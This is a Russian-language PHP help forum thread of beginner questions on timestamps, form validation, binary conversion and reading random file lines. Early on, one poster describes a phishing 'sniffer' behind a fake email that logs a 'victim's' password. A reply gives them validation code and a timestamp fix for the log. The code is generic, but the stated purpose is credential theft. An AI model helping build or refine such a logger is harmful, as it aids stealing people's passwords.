Спасибо, конечно, но я так и не смог это реализовать. Не судите нуба строго. Мне нужно чтобы выводилась дата прихода данных по московскому времени (или по моему системному), но не через echo, а именно как запись в fwrite: PHP: $now = getdate(); $nowstring=$now['mday'].".".$now['mon'].".".$now['year']."|".$now['hours']."+9ч ".$now['minutes']."м ".$now['seconds']."с"; $log = fopen("Chaos.php","a+"); fwrite($log,"\r\n Ничего из прочитанного не помогло тоже. Может вы поможете? И ещё, появилось несколько вопросов. 1) Возможно ли сделать так, чтобы перед каждой новой строчкой сначала вставлялась иконка (для удобства и эстетического удовольствия )? То есть сначала, допустим, иконка мейла, а следом уже данные. Возможно ли такое, и если да, то как это осуществить? 3) Последнее время часто стало приходить пустое поле, т.е. жертва просто жмёт "ОК", не вводя пароль и переходит на страницу "всё в порядке, свободен". Я правильно понимаю, это и есть валидация? Можно ли сделать кнопку "ОК" недоступной при пустых полях? Можно ли сделать проверку на правильность адреса\пароля? Подскажите как, если можно.
Есть прямоугольная область, нужно высчитать максимальный размер шрифта и вписать посредине слово посредством GD. Интересует сам алгоритм.
Sitis Если вы будете прибавлять +9 к текущему значению часов вы можете получить бред типа: 23+9 = 32, и в логах будет бред, поэтому я предложил получить текущее время в секундах time() и добавить к нему (или отнять) поправу, тоже в секундах. Если вам нужно добавить 9 часов, переводим их в секунды 9*60*60 = 32400 что бы не считать это все на калькуляторе, можно так и записать выражение 9*60*60. Конечное выражение получается: PHP: $time = date('m.d.y H:i:s' , time()+(9*60*60)); Далее как вы просили без "echo" можете записать переменную в файл. Ну вы код покажите куда вы хоть сроку сохраняете и как. Для этого нужно составить условие, к прмиеру есть форма куда вводить логин, пароль и кнопка отправки. PHP: if(isset($_POST['submit'])) { // Если нажата кнопка отправить форму. if(empty($_POST['login']) || empty($_POST['pwd'])) { // если пустое одно из двух текстовых полей формы echo 'Заполните форму'; } else { // Запись в файл введенных данных. } } Вообще советую почитать книжку какую-нибудь, пофиг какую по пхп, то что просите помочь является самыми основами. Можно изучить буквально за первые дни. ЗЫ Обратите внимание что после 1) идет сразу 3)
Большое спасибо, всё получилось. По определённым причинам я сейчас не могу взяться за изучение пхп. Дык я и показываю: PHP: $log = fopen("ххх.php","a+"); fwrite($log,"\r\n Можно ли сделать так, чтобы в лог сначала записывался кгафический файл (ссылка на него)? Формат картинки не важен. Я тщетно пытался сделать подобное. Хочу уточнить, это нужно делать в скрипте снифера или в самом теле письма? К слову, я использую именно фейк в теле.
навскидку PHP: <?php $time = time(); switch (true){ case $row['date']+300 > $time: $textdate = 'до 5 минут назад'; break; case $row['date']+3600 > $time: $textdate = "1 час назад"; break; case $row['date']+86400 > $time: $textdate = 'сегодня'; break; case $row['date']+172800 > $time: $textdate = 'вчера'; break; default: $textdate = 'в прошлом'; } ?>
Каким образом вывести имена всех переменных, используемых в скрипте, вывести из globals проблематично. Хочу освобождать память от ненужных переменных.
Подскажите плиз штатную функцию возвращения бинарного кода из текста, и наоборот. То есть: $a = text; $b = func_binary($a); //Возвратить банарник текста. $c = func_debinary($b); //Возвратить обычный текст. Осталось заменить функции нормальными.. вот как тут http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.asp
Osstudio, штатной нету, комбинируй функции chr() и decbin() То же самое, что и $GLOBALS. В общем, написал функцию для этого дела, если кому интересно: PHP: function unset_all() { $flag = FALSE; $my_variables = Array(); foreach ($GLOBALS as $k => $v) { if ($flag) {unset($GLOBALS[$k]);} else if ($k == '_REQUEST') $flag = TRUE; } return 0; } $a= 101001; $b='qwerty'; $arr = Array(1,0,0,1); $z = Array('key' => 'val'); unset_all();
Внимание вопрос! Имеется 4 файла, в которых построчно идут некие цифры, нужно, чтобы цифры были вряд через пробел (брались из рандомных строк файлов). Вот что сделал я: PHP: <?php $file0="1-1.php"; # имя файла, где хранятся данные. $file1="1-2.php"; $file2="1-3.php"; $file3="1-4.php"; $stroka0=file($file0); $stroka1=file($file1); $stroka2=file($file2); $stroka3=file($file3); echo $stroka0[rand(0,count($stroka0)-1)]; echo $stroka1[rand(0,count($stroka1)-1)]; echo $stroka2[rand(0,count($stroka2)-1)]; echo $stroka3[rand(0,count($stroka3)-1)]; ?> Как сделать правильно, чтобы не загромождать код. Т.к. будет много строк)
PHP: <?php $files = array("1-1.php","1-2.php","1-3.php","1-4.php"); for($i=0; $i<count($i);++$i) { $str = file($files[$i]); echo $str[rand(0,count($str)-1)] } ?> Также можно ещё больше сократить, но будет "не красиво" http://php.su/learnphp/
Ossstudio http://ru.php.net/manual/en/function.pack.php#93085, http://ru.php.net/manual/en/function.pack.php#90142 AnGeI Ваша функция будет совершать совершенно непредсказуемые действия в зависимости от системы и версии ПХП на которой запущена, лучше не делайте так. Для ограничения количества переменных в области видимости - используйте функции, все переменные внутри, которых локальны и после каждого завершения функции - удаляются. Либо, что более правильно, используйте пространства имен: http://ru.php.net/namespaces knor вопросы по разметке в соседнем топике
Ошибка HTTP 500 (Internal Server Error).. исправил, дописав ; , но всёравно не то, выводит только из 1 файла, из первого.
TheRaD так? PHP: <?php $files = array("1-1.php","1-2.php","1-3.php","1-4.php"); $nums = array(); foreach($files as $file) { $cont = file($file); $nums[] = trim($cont[mt_rand(0,count($cont) - 1)]); } echo implode(" ",$nums); ?>